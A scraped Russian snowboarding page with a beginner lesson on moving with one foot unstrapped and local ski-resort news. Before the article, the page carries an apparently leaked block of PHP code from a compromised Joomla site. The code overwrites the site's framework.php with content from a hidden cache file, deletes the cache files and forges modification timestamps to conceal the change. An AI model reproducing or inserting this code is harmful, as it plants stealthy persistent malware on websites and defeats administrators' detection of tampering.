$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Как кататься на сноуборде, Перемешение с отстёгнутой ногой
Баннер
Форма авторизации



Как кататься на сноуборде

Часть 2. Перемещение с отстёгнутой ногой

Мастерство перемещения с отстёгнутой ногой представляет собой полезный навык в сноуборде.
Вам необходимо отрабатывать движения постоянно, передвигаетесь ли Вы на короткие расстояния по склону или выходя из канатки. Практика Вам будет полезна до того, как вы выйдете на склон.



Вот несколько советов о том, как кататься:

* Пристегните Вашу переднюю ногу к креплению, а заднюю оставьте свободной.
* Оттолкнитесь задней ногой, и прокатитесь немного вперед. В дальнейшем вы довольно часто будете сталкиваться с подобным движением, катаясь на сноуборде.
* Попробуйте покататься по кругу, постарайтесь сделать так, чтоб Ваша толчковая (задняя) нога не выходила вперед передней при шаге. Делайте только маленькие шаги задней ногой.
* Также необходимо немного согнуть переднюю ногу, что поможет Вам лучше держать баланс.
* После небольшой тренировки Вы сможете увеличить силу толчка. Также можно попробовать поставить заднюю ногу на сноуборд. После этого спускаясь по пологому склону попытаться как можно дольше удержать обе ноги на доске. Попробуйте присесть и подняться, скользя по склону.

Обсудить на форуме...

Коментарии:

 
.

Последние новости

Популярные статьи

Новости
Открытие сезона на ГЛЦ "Царевщина"

Ну вот и дождались любители горных лыж и сноуборда открытия ГЛЦ "Царевщина". Сегодня был полноценный рабочий день на этом комплексе. Снегу накидали достаточно, земли нигде не видно. В некоторых местах есть лёд. Народу немного, на подъёмнике очередей нет. Цены остались на уровне прошлого сезона: 1 смена с 10 до 15 - 600р, 2 смена с 13 до 17 - 700р, 3 смена с 17 до 21 - 300р (в выходные дни). В будние дни соответственно 250 - 300 - 200руб. Работает как всегда только центральная трасса.

 
Новости ГЛК Красная глинка

По заявлениям представителей ГЛК  Красная Глинка, что неподалёку от Самары, открытие намечено не 2 декабря, в настоящее время активно идёт подготовка склонов. На Юге убрали не работающий подъемник, трасса стала шире. Сейчас снежат Восточный склон. К открытию скорее всего будут работать Центр, Восток и если успеют то и Юг.

 
Появился новый раздел "Народный магазин"
Подробнее ...
Как кататься на сноуборде, Перемешение с отстёгнутой ногой

Как доехать на машине
*От:
*До:
Дай +1 :)
Сохранить в моб...
Яндекс.Метрика